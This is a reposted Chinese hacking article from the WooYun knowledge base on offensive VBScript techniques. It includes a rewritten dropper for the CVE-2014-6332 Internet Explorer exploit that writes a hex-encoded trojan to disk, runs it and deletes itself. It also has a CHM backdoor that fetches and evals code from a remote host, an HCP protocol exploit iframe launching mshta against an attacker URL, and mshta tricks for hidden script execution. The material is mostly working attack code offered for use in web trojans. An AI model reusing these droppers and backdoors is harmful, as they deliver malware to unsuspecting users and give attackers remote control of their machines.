作者 lcx 2016-07-14 12:29:00
被查看了1163次 , 本文转载自:乌云知识库

昨日黄花--vbscript(一)

0x00 前言

python、powershell、php在脚本编程界的地位如日中天,vbscript已零落成泥碾作尘,已成昨日黄花。犹记得zzzevazzz在2004年前有两篇文章横空出世,分别是《深入挖掘Windows脚本技术》和《Do All in Cmd Shell (一切尽在命令行)》,博得一片惊叹,引起广大反响。但12年过去了,vbscript在黑客界的地位逐渐势微,连微软脚本专家都放弃了它,更多的人转向了powershell在黑客方面的研究。

我写这篇文章,一方面是对zzzevzaaa的文章的挂漏补遗,另一方面展现vbs一些小技巧,更重要的是对自己放弃在vbs方面研究的缅怀。

0x01 vbs写二进制字节的代码以及利用

《Do All in Cmd Shell (一切尽在命令行)》这里写到过一个问题:echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新”编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

先来说一下vbs写base64字节流还原二进制,用Microsoft.XMLDOM组件来解决就很简单了。关键函数如下:

#!vb
private function readBytes(file)
  dim inStream
  ' ADODB stream object used
  set inStream = WScript.CreateObject("ADODB.Stream")
  ' open with no arguments makes the stream an empty container 
  inStream.Open
  inStream.type= TypeBinary
  inStream.LoadFromFile(file)
  readBytes = inStream.Read()
end function

private function encodeBase64(bytes)
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set bytes, get encoded String
  EL.NodeTypedValue = bytes
  encodeBase64 = EL.Text
end function

private function decodeBase64(base64)
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
end function

private Sub writeBytes(file, bytes)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = TypeBinary
  'Open the stream and write binary data
  binaryStream.Open
  binaryStream.Write bytes
  'Save binary data to disk
  binaryStream.SaveToFile file, ForWriting
End Sub

全部代码在这https://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary-encodedecode-base64/,编码和解码的效率还是不错的。

如果用ADODB.Recordset组件还原16进制为二进制文件,效率稍差,但也是可以做到的。说到vbs写二进制文件,有没有想到袁哥哪个ie的神洞CVE-2014-6332呢?我个人收集了一些这个网马样本,但90%用的是下载执行的方法,还有的样本甚至用了ftp下载执行的办法,其实不必哪么麻烦。袁哥给出的样本在这http://www.freebuf.com/articles/system/51501.html,我们可以把其中的runmumaa()函数改写如下代码,这样就利索多了:

#!vb
Function runmumaa() 
Set Fso=CreateObject("Scripting.FileSystemObject")
path="C:\ProgramData\Microsoft\Windows\DRM\"
If Not (fso.FolderExists(path)) Then
path= "C:\docume~1\alluse~1\"
End If

Set ws = CreateObject("Wscript.Shell")

Set wf=fso.OpenTextFile(path&"test.vbs",2, True)
wf.write "fp="""&path&"0day.exe"":set fs=CreateObject(""Scripting.FileSystemObject""):set ws= Createobject(""WScript.Shell""):ss=""4D5A9000'木马的16进制编码"":Set RS = CreateObject(""ADODB.Recordset""):L = Len(ss) / 2:RS.Fields.Append ""m"", 205, L:RS.Open:RS.AddNew:RS(""m"") = ss & ChrB(0):RS.Update:ss = RS(""m"").GetChunk(L):Set s = CreateObject(""ADODB.Stream""):With s: .Mode = 3:.Type = 1:.Open:.Write ss:.SaveToFile fp, 2:End With:ws.run fp:fs.DeleteFile(wscript.scriptfullname)"
wf.close
Set wf=Nothing

set objShellApp=CreateObject("Shell.Application")
If (fso.FileExists(path&"dell.vbs")) Then


Set objFolder = objShellApp.NameSpace(path)
objFolder.Items().item("test.vbs").invokeverb


End If

end Function

0x02 vbs在协议方面的代码以及利用

wooyun知识库有篇文章,《高级组合技打造“完美” 捆绑后门》(http://drops.wooyun.org/tips/14254),主要说的是用powershell方法来制作一个chm后门。文章写得很好,但会忽略了一部分xp用户。如果让chm不弹不闪执行一个exe的话,为什么不用vbs呢?原文中最终的代码如下:

#!vb
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
   This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

它这里Item1用的value值是rundll32.exe,javascript来执行的js代码,其实这里我们可以用mshta来执行vbs或js。有一个比较简单的思路是在chm主页中嵌入一个htm。像代码是<img src=1.htm>,然后利用CDO.Message来读mk:@MSITStore协议或是ms-its协议,然后这个1.htm里是你的vbs代码,这样你就为所欲为了。

示例代码: mshta mk:@MSITStore:H:\i\d盘\old\easychm\d.chm::/1.htm(如图1)

或是:mshta its:H:\i\d盘\old\easychm\d.chm::/1.htm

或是:mshta ms-its:H:\i\d盘\old\easychm\d.chm::/1.htm

说到这里,有没有又想到几年前的哪个hcp协议漏洞呢( M10-042)?如果我们用到mshta的话,就不用在url里写哪么多代码了。示例如下:

#!html
<iframe src="hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript/defer%3Eeval%28unescape%28%27Run%2528%2522mshta%2520http%253A//attackUrl%2522%2529%27%29%29%3C/script%3E">

0x03 mstha运行vbs的代码以及利用

在文章第二部分,我用到了mshta来直接运行mk:@MSITStore:H:\i\d盘\old\easychm\d.chm::/1.htm。我估计很多人有疑惑,你把chm代码发给对方后,你如何判断对方chm的具体位置呢?其实这个就涉及到mshta如何来运行vbs了。几年前我在<<黑客手册>>这本书里写到<<非常规运行vbs>>给出的示例代码是:mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)。这里的方法有个极大的弊端,代码之间不能有空格,例如只能写mshta vbscript:msgbox("a"),而不能写成mshta vbscript:msgbox "a",写成后一种会出错。其实我觉得这种写法应当是微软的bug或是微软的宽容,mstha应当运行的是vbscript而不是vbs。所以深入一下我们就明白发如何在mshta随心所欲写vbs了。

批处理之家http://www.bathome.net/thread-11516-1-1.html,myzam提到了几种mshta写vbscript的方法,给出的代码分别是:

  1. mshta vbscript:"<html style=background:buttonface><title>作者:myzam 2011-3-18</title><body>hello world<br/>hello<hr/>world<script language=vbscript>msgbox (123)</script></body></html>"
  2. mshta vbscript:"<html ><title>test</title><body>hello world <script language='vbscript'>msgbox (""hello world"") </script></html>"
  3. mshta vbscript:"<html ><title>test</title><body>hello world <script language=""vbscript"">msgbox (""hello world"") </script></html>"

这样的写法是可以的,但是你不会觉得双引号转义来转义去的麻烦呢,而且还是有空格的问题。既然mshta调用的是ie,有没有想到过ie地址栏的一些特性呢,所以我们最终代码是:

mshta "about:<script language=vbs> msgbox "a" :window.close </script>"

用了about就不怕有空格了,代码就随意了。

以上三点是vbs的一些不常见的技巧和巧妙的代码,当然这样的技巧还是有很多的,哪就放在昨日黄花--vbscript(二)吧。

文中参考文献

  • http://huaidan.org/archives/251.html
  • https://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary-encodedecode-base64/
  • http://www.freebuf.com/articles/system/51501.html
  • http://drops.wooyun.org/tips/14254
  • http://www.bathome.net/thread-11516-1-1.html
  • http://demon.tw/?s=%E4%BA%8C%E8%BF%9B%E5%88%B6

本文转载自:乌云知识库